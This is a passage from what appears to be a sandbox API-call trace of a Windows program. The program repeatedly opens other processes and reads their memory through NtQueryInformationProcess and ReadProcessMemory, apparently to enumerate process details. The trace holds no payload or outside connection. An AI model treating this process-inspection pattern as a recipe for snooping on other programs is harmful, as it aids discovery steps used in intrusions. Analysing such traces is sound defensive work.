lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0249.276] malloc (_Size=0x78) returned 0x20abc282120 [0249.276] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x511968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0249.276] free (_Block=0x20abc282120) [0249.277] CloseHandle (hObject=0x460) returned 1 [0249.277] _ui64tow_s (in: _Value=0x1014, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4116") returned 0x0 [0249.511] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4116") returned 4 [0249.512] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0249.512] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0249.524] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1014) returned 0x170 [0249.524] GetLastError () returned 0x0 [0249.525] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0249.526] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x314018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0249.526] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0249.526] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1c1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0249.526] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0249.527] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0249.529] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0249.529] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x314020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0249.529] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0249.529] malloc (_Size=0x78) returned 0x20abc282120 [0249.529] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1c1968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0249.530] free (_Block=0x20abc282120) [0249.531] CloseHandle (hObject=0x170) returned 1 [0249.531] _ui64tow_s (in: _Value=0x101c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0249.535] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4124") returned 4 [0249.536] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0249.536] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0249.715] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0x170 [0249.715] GetLastError () returned 0x0 [0249.717] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0249.717] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x3c9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0249.717] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0249.717] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0249.717] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0249.718] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0249.720] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0249.720] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x3c9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0249.720] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0249.720] malloc (_Size=0x64) returned 0x20abc280840 [0249.720] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1e1954, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0249.721] free (_Block=0x20abc280840) [0249.721] CloseHandle (hObject=0x170) returned 1 [0249.722] _ui64tow_s (in: _Value=0x1028, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0249.726] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4136") returned 4 [0249.727] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0249.727] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0249.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0x170 [0249.740] GetLastError () returned 0x0 [0249.741] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0249.741] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2d2018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0249.741] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0249.741] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5d1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0249.742] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0249.743] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0249.744] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0249.744] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2d2020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0249.744] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0249.744] malloc (_Size=0x66) returned 0x20abc280290 [0249.744] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5d1956, lpBuffer=0x20abc280290, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0249.745] free (_Block=0x20abc280290) [0249.746] CloseHandle (hObject=0x170) returned 1 [0249.746] _ui64tow_s (in: _Value=0x1038, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0249.923] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4152") returned 4 [0249.924] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0249.924] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0249.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x170 [0249.937] GetLastError () returned 0x0 [0249.938] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0249.938] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x530018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0249.938] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0249.938] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x791d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0249.938] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7918f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0249.939] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0249.941] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0249.941] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x530020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0249.941] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0249.941] malloc (_Size=0x76) returned 0x20abc282120 [0249.941] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x791966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0249.942] free (_Block=0x20abc282120) [0249.942] CloseHandle (hObject=0x170) returned 1 [0249.943] _ui64tow_s (in: _Value=0x1040, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0249.946] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4160") returned 4 [0249.947] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0249.947] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0249.960] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x170 [0249.960] GetLastError () returned 0x0 [0249.961] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0249.961] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x258018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0249.962] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0249.962] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4f1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0249.962] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4f18f8, lpBuffer=0x2dc24fc2d0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0249.963] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0249.964] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0249.964] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x258020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0249.965] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4f12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0249.965] malloc (_Size=0x7a) returned 0x20abc2ab4f0 [0249.965] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4f196a, lpBuffer=0x20abc2ab4f0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab4f0*, lpNumberOfBytesRead=0x0) returned 1 [0249.965] free (_Block=0x20abc2ab4f0) [0250.110] CloseHandle (hObject=0x170) returned 1 [0250.111] _ui64tow_s (in: _Value=0x104c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4172") returned 0x0 [0250.115] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4172") returned 4 [0250.116] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0250.116] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0250.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104c) returned 0x170 [0250.129] GetLastError () returned 0x0 [0250.130] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0250.130] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x28c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0250.130] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0250.131] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x701d30, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0250.131] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7018f8, lpBuffer=0x2dc24fc2d0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0250.132] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0250.133] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0250.133] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x28c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0250.133] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7012e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0250.133] malloc (_Size=0x86) returned 0x20abc2ab340 [0250.133] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x701976, lpBuffer=0x20abc2ab340, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab340*, lpNumberOfBytesRead=0x0) returned 1 [0250.134] free (_Block=0x20abc2ab340) [0250.135] CloseHandle (hObject=0x170) returned 1 [0250.135] _ui64tow_s (in: _Value=0x105c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0250.139] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4188") returned 4 [0250.140] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0250.140] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0250.335] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0x170 [0250.335] GetLastError () returned 0x0 [0250.336] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0250.336] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x38d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0250.336] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0250.336] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5a1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0250.336] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0250.337] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0250.339] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0250.339] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x38d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0250.339] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0250.339] malloc (_Size=0x76) returned 0x20abc282120 [0250.339] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5a1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0250.340] free (_Block=0x20abc282120) [0250.341] CloseHandle (hObject=0x170) returned 1 [0250.342] _ui64tow_s (in: _Value=0x1064, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0250.348] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4196") returned 4 [0250.349] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0250.349] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0250.363] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x170 [0250.363] GetLastError () returned 0x0 [0250.364] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0250.364] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x264018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0250.364] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0250.365] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x511ca0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0250.366] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5118f8, 